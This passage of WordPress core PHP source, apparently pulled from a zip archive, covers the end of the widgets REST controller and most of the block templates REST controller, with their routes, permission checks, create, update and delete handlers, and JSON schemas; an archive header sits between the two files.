'id_base' => $parsed_id['id_base'], 'sidebar' => $sidebar_id, 'rendered' => '', 'rendered_form' => null, 'instance' => null, ); if ( rest_is_field_included( 'rendered', $fields ) && 'wp_inactive_widgets' !== $sidebar_id ) { $prepared['rendered'] = trim( wp_render_widget( $widget_id, $sidebar_id ) ); } if ( rest_is_field_included( 'rendered_form', $fields ) ) { $rendered_form = wp_render_widget_control( $widget_id ); if ( ! is_null( $rendered_form ) ) { $prepared['rendered_form'] = trim( $rendered_form ); } } if ( rest_is_field_included( 'instance', $fields ) ) { $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); if ( $widget_object && isset( $parsed_id['number'] ) ) { $all_instances = $widget_object->get_settings(); $instance = $all_instances[ $parsed_id['number'] ]; $serialized_instance = serialize( $instance ); $prepared['instance']['encoded'] = base64_encode( $serialized_instance ); $prepared['instance']['hash'] = wp_hash( $serialized_instance ); if ( ! empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { // Use new stdClass so that JSON result is {} and not []. $prepared['instance']['raw'] = empty( $instance ) ? new stdClass() : $instance; } } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $prepared = $this->add_additional_fields_to_object( $prepared, $request ); $prepared = $this->filter_response_by_context( $prepared, $context ); $response = rest_ensure_response( $prepared ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $prepared ) ); } /** * Filters the REST API response for a widget. * * @since 5.8.0 * * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure. * @param array $widget The registered widget data. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_widget', $response, $widget, $request ); } /** * Prepares links for the widget. * * @since 5.8.0 * * @param array $prepared Widget. * @return array Links for the given widget. */ protected function prepare_links( $prepared ) { $id_base = ! empty( $prepared['id_base'] ) ? $prepared['id_base'] : $prepared['id']; return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $prepared['id'] ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'about' => array( 'href' => rest_url( sprintf( 'wp/v2/widget-types/%s', $id_base ) ), 'embeddable' => true, ), 'https://api.w.org/sidebar' => array( 'href' => rest_url( sprintf( 'wp/v2/sidebars/%s/', $prepared['sidebar'] ) ), ), ); } /** * Gets the list of collection params. * * @since 5.8.0 * * @return array[] */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'sidebar' => array( 'description' => __( 'The sidebar to return widgets for.' ), 'type' => 'string', ), ); } /** * Retrieves the widget's schema, conforming to JSON Schema. * * @since 5.8.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'widget', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the widget.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'id_base' => array( 'description' => __( 'The type of the widget. Corresponds to ID in widget-types endpoint.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'sidebar' => array( 'description' => __( 'The sidebar the widget belongs to.' ), 'type' => 'string', 'default' => 'wp_inactive_widgets', 'required' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML representation of the widget.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rendered_form' => array( 'description' => __( 'HTML representation of the widget admin form.' ), 'type' => 'string', 'context' => array( 'edit' ), 'readonly' => true, ), 'instance' => array( 'description' => __( 'Instance settings of the widget, if supported.' ), 'type' => 'object', 'context' => array( 'edit' ), 'default' => null, 'properties' => array( 'encoded' => array( 'description' => __( 'Base64 encoded representation of the instance settings.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'hash' => array( 'description' => __( 'Cryptographic hash of the instance settings.' ), 'type' => 'string', 'context' => array( 'edit' ), ), 'raw' => array( 'description' => __( 'Unencoded instance settings, if supported.' ), 'type' => 'object', 'context' => array( 'edit' ), ), ), ), 'form_data' => array( 'description' => __( 'URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.' ), 'type' => 'string', 'context' => array(), 'arg_options' => array( 'sanitize_callback' => static function ( $form_data ) { $array = array(); wp_parse_str( $form_data, $array ); return $array; }, ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } } PK!U|Ӿ&class-wp-rest-templates-controller.phpnu[post_type = $post_type; $obj = get_post_type_object( $post_type ); $this->rest_base = ! empty( $obj->rest_base ) ? $obj->rest_base : $obj->name; $this->namespace = ! empty( $obj->rest_namespace ) ? $obj->rest_namespace : 'wp/v2'; } /** * Registers the controllers routes. * * @since 5.8.0 * @since 6.1.0 Endpoint for fallback template content. */ public function register_routes() { // Lists all templates. register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); // Get fallback template content. register_rest_route( $this->namespace, '/' . $this->rest_base . '/lookup', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_template_fallback' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'slug' => array( 'description' => __( 'The slug of the template to get the fallback for' ), 'type' => 'string', 'required' => true, ), 'is_custom' => array( 'description' => __( 'Indicates if a template is custom or part of the template hierarchy' ), 'type' => 'boolean', ), 'template_prefix' => array( 'description' => __( 'The template prefix for the created template. This is used to extract the main template type, e.g. in `taxonomy-books` extracts the `taxonomy`' ), 'type' => 'string', ), ), ), ) ); // Lists/updates a single template based on the given id. register_rest_route( $this->namespace, // The route. sprintf( '/%s/(?P%s%s)', $this->rest_base, /* * Matches theme's directory: `/themes///` or `/themes//`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+' ), array( 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Returns the fallback template for the given slug. * * @since 6.1.0 * @since 6.3.0 Ignore empty templates. * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_template_fallback( $request ) { $hierarchy = get_template_hierarchy( $request['slug'], $request['is_custom'], $request['template_prefix'] ); do { $fallback_template = resolve_block_template( $request['slug'], $hierarchy, '' ); array_shift( $hierarchy ); } while ( ! empty( $hierarchy ) && empty( $fallback_template->content ) ); // To maintain original behavior, return an empty object rather than a 404 error when no template is found. $response = $fallback_template ? $this->prepare_item_for_response( $fallback_template, $request ) : new stdClass(); return rest_ensure_response( $response ); } /** * Checks if the user has permissions to make the request. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ protected function permissions_check( $request ) { /* * Verify if the current user has edit_theme_options capability. * This capability is required to edit/view/delete templates. */ if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Requesting this endpoint for a template like 'twentytwentytwo//home' * requires using a path like /wp/v2/templates/twentytwentytwo//home. There * are special cases when WordPress routing corrects the name to contain * only a single slash like 'twentytwentytwo/home'. * * This method doubles the last slash if it's not already doubled. It relies * on the template ID format {theme_name}//{template_slug} and the fact that * slugs cannot contain slashes. * * @since 5.9.0 * @link https://core.trac.wordpress.org/ticket/54507 * * @param string $id Template ID. * @return string Sanitized template ID. */ public function _sanitize_template_id( $id ) { $id = urldecode( $id ); $last_slash_pos = strrpos( $id, '/' ); if ( false === $last_slash_pos ) { return $id; } $is_double_slashed = substr( $id, $last_slash_pos - 1, 1 ) === '/'; if ( $is_double_slashed ) { return $id; } return ( substr( $id, 0, $last_slash_pos ) . '/' . substr( $id, $last_slash_pos ) ); } /** * Checks if a given request has access to read templates. * * @since 5.8.0 * @since 6.6.0 Allow users with edit_posts capability to read templates. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } /** * Returns a list of templates. * * @since 5.8.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $query = array(); if ( isset( $request['wp_id'] ) ) { $query['wp_id'] = $request['wp_id']; } if ( isset( $request['area'] ) ) { $query['area'] = $request['area']; } if ( isset( $request['post_type'] ) ) { $query['post_type'] = $request['post_type']; } $templates = array(); foreach ( get_block_templates( $query, $this->post_type ) as $template ) { $data = $this->prepare_item_for_response( $template, $request ); $templates[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $templates ); } /** * Checks if a given request has access to read a single template. * * @since 5.8.0 * @since 6.6.0 Allow users with edit_posts capability to read individual templates. * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_manage_templates', __( 'Sorry, you are not allowed to access the templates on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } /** * Returns the given template * * @since 5.8.0 * * @param WP_REST_Request $request The request instance. * @return WP_REST_Response|WP_Error */ public function get_item( $request ) { if ( isset( $request['source'] ) && ( 'theme' === $request['source'] || 'plugin' === $request['source'] ) ) { $template = get_block_file_template( $request['id'], $this->post_type ); } else { $template = get_block_template( $request['id'], $this->post_type ); } if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( $template, $request ); } /** * Checks if a given request has access to write a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Updates a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { $template = get_block_template( $request['id'], $this->post_type ); if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } $post_before = get_post( $template->wp_id ); if ( isset( $request['source'] ) && 'theme' === $request['source'] ) { wp_delete_post( $template->wp_id, true ); $request->set_param( 'context', 'edit' ); $template = get_block_template( $request['id'], $this->post_type ); $response = $this->prepare_item_for_response( $template, $request ); return rest_ensure_response( $response ); } $changes = $this->prepare_item_for_database( $request ); if ( is_wp_error( $changes ) ) { return $changes; } if ( 'custom' === $template->source ) { $update = true; $result = wp_update_post( wp_slash( (array) $changes ), false ); } else { $update = false; $post_before = null; $result = wp_insert_post( wp_slash( (array) $changes ), false ); } if ( is_wp_error( $result ) ) { if ( 'db_update_error' === $result->get_error_code() ) { $result->add_data( array( 'status' => 500 ) ); } else { $result->add_data( array( 'status' => 400 ) ); } return $result; } $template = get_block_template( $request['id'], $this->post_type ); $fields_update = $this->update_additional_fields_for_object( $template, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } $request->set_param( 'context', 'edit' ); $post = get_post( $template->wp_id ); /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, false ); wp_after_insert_post( $post, $update, $post_before ); $response = $this->prepare_item_for_response( $template, $request ); return rest_ensure_response( $response ); } /** * Checks if a given request has access to create a template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Creates a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $prepared_post = $this->prepare_item_for_database( $request ); if ( is_wp_error( $prepared_post ) ) { return $prepared_post; } $prepared_post->post_name = $request['slug']; $post_id = wp_insert_post( wp_slash( (array) $prepared_post ), true ); if ( is_wp_error( $post_id ) ) { if ( 'db_insert_error' === $post_id->get_error_code() ) { $post_id->add_data( array( 'status' => 500 ) ); } else { $post_id->add_data( array( 'status' => 400 ) ); } return $post_id; } $posts = get_block_templates( array( 'wp_id' => $post_id ), $this->post_type ); if ( ! count( $posts ) ) { return new WP_Error( 'rest_template_insert_error', __( 'No templates exist with that id.' ), array( 'status' => 400 ) ); } $id = $posts[0]->id; $post = get_post( $post_id ); $template = get_block_template( $id, $this->post_type ); $fields_update = $this->update_additional_fields_for_object( $template, $request ); if ( is_wp_error( $fields_update ) ) { return $fields_update; } /** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ do_action( "rest_after_insert_{$this->post_type}", $post, $request, true ); wp_after_insert_post( $post, false, null ); $response = $this->prepare_item_for_response( $template, $request ); $response = rest_ensure_response( $response ); $response->set_status( 201 ); $response->header( 'Location', rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $template->id ) ) ); return $response; } /** * Checks if a given request has access to delete a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has delete access for the item, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Deletes a single template. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $template = get_block_template( $request['id'], $this->post_type ); if ( ! $template ) { return new WP_Error( 'rest_template_not_found', __( 'No templates exist with that id.' ), array( 'status' => 404 ) ); } if ( 'custom' !== $template->source ) { return new WP_Error( 'rest_invalid_template', __( 'Templates based on theme files can\'t be removed.' ), array( 'status' => 400 ) ); } $id = $template->wp_id; $force = (bool) $request['force']; $request->set_param( 'context', 'edit' ); // If we're forcing, then delete permanently. if ( $force ) { $previous = $this->prepare_item_for_response( $template, $request ); $result = wp_delete_post( $id, true ); $response = new WP_REST_Response(); $response->set_data( array( 'deleted' => true, 'previous' => $previous->get_data(), ) ); } else { // Otherwise, only trash if we haven't already. if ( 'trash' === $template->status ) { return new WP_Error( 'rest_template_already_trashed', __( 'The template has already been deleted.' ), array( 'status' => 410 ) ); } /* * (Note that internally this falls through to `wp_delete_post()` * if the Trash is disabled.) */ $result = wp_trash_post( $id ); $template->status = 'trash'; $response = $this->prepare_item_for_response( $template, $request ); } if ( ! $result ) { return new WP_Error( 'rest_cannot_delete', __( 'The template cannot be deleted.' ), array( 'status' => 500 ) ); } return $response; } /** * Prepares a single template for create or update. * * @since 5.8.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Changes to pass to wp_update_post. */ protected function prepare_item_for_database( $request ) { $template = $request['id'] ? get_block_template( $request['id'], $this->post_type ) : null; $changes = new stdClass(); if ( null === $template ) { $changes->post_type = $this->post_type; $changes->post_status = 'publish'; $changes->tax_input = array( 'wp_theme' => $request['theme'] ?? get_stylesheet(), ); } elseif ( 'custom' !== $template->source ) { $changes->post_name = $template->slug; $changes->post_type = $this->post_type; $changes->post_status = 'publish'; $changes->tax_input = array( 'wp_theme' => $template->theme, ); $changes->meta_input = array( 'origin' => $template->source, ); } else { $changes->post_name = $template->slug; $changes->ID = $template->wp_id; $changes->post_status = 'publish'; } if ( isset( $request['content'] ) ) { if ( is_string( $request['content'] ) ) { $changes->post_content = $request['content']; } elseif ( isset( $request['content']['raw'] ) ) { $changes->post_content = $request['content']['raw']; } } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_content = $template->content; } if ( isset( $request['title'] ) ) { if ( is_string( $request['title'] ) ) { $changes->post_title = $request['title']; } elseif ( ! empty( $request['title']['raw'] ) ) { $changes->post_title = $request['title']['raw']; } } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_title = $template->title; } if ( isset( $request['description'] ) ) { $changes->post_excerpt = $request['description']; } elseif ( null !== $template && 'custom' !== $template->source ) { $changes->post_excerpt = $template->description; } if ( 'wp_template' === $this->post_type && isset( $request['is_wp_suggestion'] ) ) { $changes->meta_input = wp_parse_args( array( 'is_wp_suggestion' => $request['is_wp_suggestion'], ), $changes->meta_input = array() ); } if ( 'wp_template_part' === $this->post_type ) { if ( isset( $request['area'] ) ) { $changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $request['area'] ); } elseif ( null !== $template && 'custom' !== $template->source && $template->area ) { $changes->tax_input['wp_template_part_area'] = _filter_block_template_part_area( $template->area ); } elseif ( empty( $template->area ) ) { $changes->tax_input['wp_template_part_area'] = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } } if ( ! empty( $request['author'] ) ) { $post_author = (int) $request['author']; if ( get_current_user_id() !== $post_author ) { $user_obj = get_userdata( $post_author ); if ( ! $user_obj ) { return new WP_Error( 'rest_invalid_author', __( 'Invalid author ID.' ), array( 'status' => 400 ) ); } } $changes->post_author = $post_author; } /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */ return apply_filters( "rest_pre_insert_{$this->post_type}", $changes, $request ); } /** * Prepare a single template output for response * * @since 5.8.0 * @since 5.9.0 Renamed `$template` to `$item` to match parent class for PHP 8 named parameter support. * @since 6.3.0 Added `modified` property to the response. * @since 7.1.0 Added `date` property to the response. * @since 7.1.0 The `modified` property is `null` for templates that have no * modification date. * * @param WP_Block_Template $item Template instance. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { return new WP_REST_Response( array() ); } /* * Resolve pattern blocks so they don't need to be resolved client-side * in the editor, improving performance. */ $blocks = parse_blocks( $item->content ); $blocks = resolve_pattern_blocks( $blocks ); $item->content = serialize_blocks( $blocks ); // Restores the more descriptive, specific name for use within this method. $template = $item; $fields = $this->get_fields_for_response( $request ); // Base fields for every template. $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $template->id; } if ( rest_is_field_included( 'theme', $fields ) ) { $data['theme'] = $template->theme; } if ( rest_is_field_included( 'content', $fields ) ) { $data['content'] = array(); } if ( rest_is_field_included( 'content.raw', $fields ) ) { $data['content']['raw'] = $template->content; } if ( rest_is_field_included( 'content.block_version', $fields ) ) { $data['content']['block_version'] = block_version( $template->content ); } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $template->slug; } if ( rest_is_field_included( 'source', $fields ) ) { $data['source'] = $template->source; } if ( rest_is_field_included( 'origin', $fields ) ) { $data['origin'] = $template->origin; } if ( rest_is_field_included( 'type', $fields ) ) { $data['type'] = $template->type; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $template->description; } if ( rest_is_field_included( 'title', $fields ) ) { $data['title'] = array(); } if ( rest_is_field_included( 'title.raw', $fields ) ) { $data['title']['raw'] = $template->title; } if ( rest_is_field_included( 'title.rendered', $fields ) ) { if ( $template->wp_id ) { /** This filter is documented in wp-includes/post-template.php */ $data['title']['rendered'] = apply_filters( 'the_title', $template->title, $template->wp_id ); } else { $data['title']['rendered'] = $template->title; } } if ( rest_is_field_included( 'status', $fields ) ) { $data['status'] = $template->status; } if ( rest_is_field_included( 'wp_id', $fields ) ) { $data['wp_id'] = (int) $template->wp_id; } if ( rest_is_field_included( 'has_theme_file', $fields ) ) { $data['has_theme_file'] = (bool) $template->has_theme_file; } if ( rest_is_field_included( 'is_custom', $fields ) && 'wp_template' === $template->type ) { $data['is_custom'] = $template->is_custom; } if ( rest_is_field_included( 'author', $fields ) ) { $data['author'] = (int) $template->author; } if ( rest_is_field_included( 'area', $fields ) && 'wp_template_part' === $template->type ) { $data['area'] = $template->area; } if ( rest_is_field_included( 'modified', $fields ) ) { /* * File-backed templates have no modification date, and `mysql_to_rfc3339()` * returns `false` for an empty or malformed value, which the schema does * not allow. Return `null` in that case. */ $modified = mysql_to_rfc3339( $template->modified ); $data['modified'] = false !== $modified ? $modified : null; } if ( rest_is_field_included( 'date', $fields ) ) { /* * File-backed templates have no date, and `mysql_to_rfc3339()` returns * `false` for an empty or malformed value, which the schema does not * allow. Return `null` in that case. */ $date = mysql_to_rfc3339( $template->date ); $data['date'] = false !== $date ? $date : null; } if ( rest_is_field_included( 'author_text', $fields ) ) { $data['author_text'] = self::get_wp_templates_author_text_field( $template ); } if ( rest_is_field_included( 'original_source', $fields ) ) { $data['original_source'] = self::get_wp_templates_original_source_field( $template ); } if ( rest_is_field_included( 'plugin', $fields ) ) { $registered_template = WP_Block_Templates_Registry::get_instance()->get_by_slug( $template->slug ); if ( $registered_template ) { $data['plugin'] = $registered_template->plugin; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template->id ); $response->add_links( $links ); if ( ! empty( $links['self']['href'] ) ) { $actions = $this->get_available_actions(); $self = $links['self']['href']; foreach ( $actions as $rel ) { $response->add_link( $rel, $self ); } } } return $response; } /** * Returns the source from where the template originally comes from. * * @since 6.5.0 * * @param WP_Block_Template $template_object Template instance. * @return string Original source of the template one of theme, plugin, site, or user. */ private static function get_wp_templates_original_source_field( $template_object ) { if ( 'wp_template' === $template_object->type || 'wp_template_part' === $template_object->type ) { /* * Added by theme. * Template originally provided by a theme, but customized by a user. * Templates originally didn't have the 'origin' field so identify * older customized templates by checking for no origin and a 'theme' * or 'custom' source. */ if ( $template_object->has_theme_file && ( 'theme' === $template_object->origin || ( empty( $template_object->origin ) && in_array( $template_object->source, array( 'theme', 'custom', ), true ) ) ) ) { return 'theme'; } // Added by plugin. if ( 'plugin' === $template_object->origin ) { return 'plugin'; } /* * Added by site. * Template was created from scratch, but has no author. Author support * was only added to templates in WordPress 5.9. Fallback to showing the * site logo and title. */ if ( empty( $template_object->has_theme_file ) && 'custom' === $template_object->source && empty( $template_object->author ) ) { return 'site'; } } // Added by user. return 'user'; } /** * Returns a human readable text for the author of the template. * * @since 6.5.0 * * @param WP_Block_Template $template_object Template instance. * @return string Human readable text for the author. */ private static function get_wp_templates_author_text_field( $template_object ) { $original_source = self::get_wp_templates_original_source_field( $template_object ); switch ( $original_source ) { case 'theme': $theme_name = wp_get_theme( $template_object->theme )->get( 'Name' ); return empty( $theme_name ) ? $template_object->theme : $theme_name; case 'plugin': if ( ! function_exists( 'get_plugins' ) ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; } if ( isset( $template_object->plugin ) ) { $plugins = wp_get_active_and_valid_plugins(); foreach ( $plugins as $plugin_file ) { $plugin_basename = plugin_basename( $plugin_file ); // Split basename by '/' to get the plugin slug. list( $plugin_slug, ) = explode( '/', $plugin_basename ); if ( $plugin_slug === $template_object->plugin ) { $plugin_data = get_plugin_data( $plugin_file ); if ( ! empty( $plugin_data['Name'] ) ) { return $plugin_data['Name']; } break; } } } /* * Fall back to the theme name if the plugin is not defined. That's needed to keep backwards * compatibility with templates that were registered before the plugin attribute was added. */ $plugins = get_plugins(); $plugin_basename = plugin_basename( sanitize_text_field( $template_object->theme . '.php' ) ); if ( isset( $plugins[ $plugin_basename ] ) && isset( $plugins[ $plugin_basename ]['Name'] ) ) { return $plugins[ $plugin_basename ]['Name']; } return $template_object->plugin ?? $template_object->theme; case 'site': return get_bloginfo( 'name' ); case 'user': $author = get_user_by( 'id', $template_object->author ); if ( ! $author ) { return __( 'Unknown author' ); } return $author->get( 'display_name' ); } // Fail-safe to return a string should the original source ever fall through. return ''; } /** * Prepares links for the request. * * @since 5.8.0 * * @param integer $id ID. * @return array Links for the given post. */ protected function prepare_links( $id ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->rest_base, $id ) ), ), 'collection' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ), ), 'about' => array( 'href' => rest_url( 'wp/v2/types/' . $this->post_type ), ), ); if ( post_type_supports( $this->post_type, 'revisions' ) ) { $template = get_block_template( $id, $this->post_type ); if ( $template instanceof WP_Block_Template && ! empty( $template->wp_id ) ) { $revisions = wp_get_latest_revision_id_and_total_count( $template->wp_id ); $revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0; $revisions_base = sprintf( '/%s/%s/%s/revisions', $this->namespace, $this->rest_base, $id ); $links['version-history'] = array( 'href' => rest_url( $revisions_base ), 'count' => $revisions_count, ); if ( $revisions_count > 0 ) { $links['predecessor-version'] = array( 'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ), 'id' => $revisions['latest_id'], ); } } } return $links; } /** * Get the link relations available for the post and current user. * * @since 5.8.0 * * @return string[] List of link relations. */ protected function get_available_actions() { $rels = array(); $post_type = get_post_type_object( $this->post_type ); if ( current_user_can( $post_type->cap->publish_posts ) ) { $rels[] = 'https://api.w.org/action-publish'; } if ( current_user_can( 'unfiltered_html' ) ) { $rels[] = 'https://api.w.org/action-unfiltered-html'; } return $rels; } /** * Retrieves the query params for the posts collection. * * @since 5.8.0 * @since 5.9.0 Added `'area'` and `'post_type'`. * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'wp_id' => array( 'description' => __( 'Limit to the specified post id.' ), 'type' => 'integer', ), 'area' => array( 'description' => __( 'Limit to the specified template part area.' ), 'type' => 'string', ), 'post_type' => array( 'description' => __( 'Post type to get the templates for.' ), 'type' => 'string', ), ); } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.8.0 * @since 5.9.0 Added `'area'`. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'ID of template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'Unique slug identifying the template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'required' => true, 'minLength' => 1, 'pattern' => '[a-zA-Z0-9_\%-]+', ), 'theme' => array( 'description' => __( 'Theme identifier for the template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'type' => array( 'description' => __( 'Type of template.' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), ), 'source' => array( 'description' => __( 'Source of template' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'origin' => array( 'description' => __( 'Source of a customized template' ), 'type' => 'string', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'content' => array( 'description' => __( 'Content of template.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Content for the template, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), ), 'block_version' => array( 'description' => __( 'Version of the content block format used by the template.' ), 'type' => 'integer', 'context' => array( 'edit' ), 'readonly' => true, ), ), ), 'title' => array( 'description' => __( 'Title of template.' ), 'type' => array( 'object', 'string' ), 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'properties' => array( 'raw' => array( 'description' => __( 'Title for the template, as it exists in the database.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'rendered' => array( 'description' => __( 'HTML title for the template, transformed for display.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), ), ), 'description' => array( 'description' => __( 'Description of template.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' 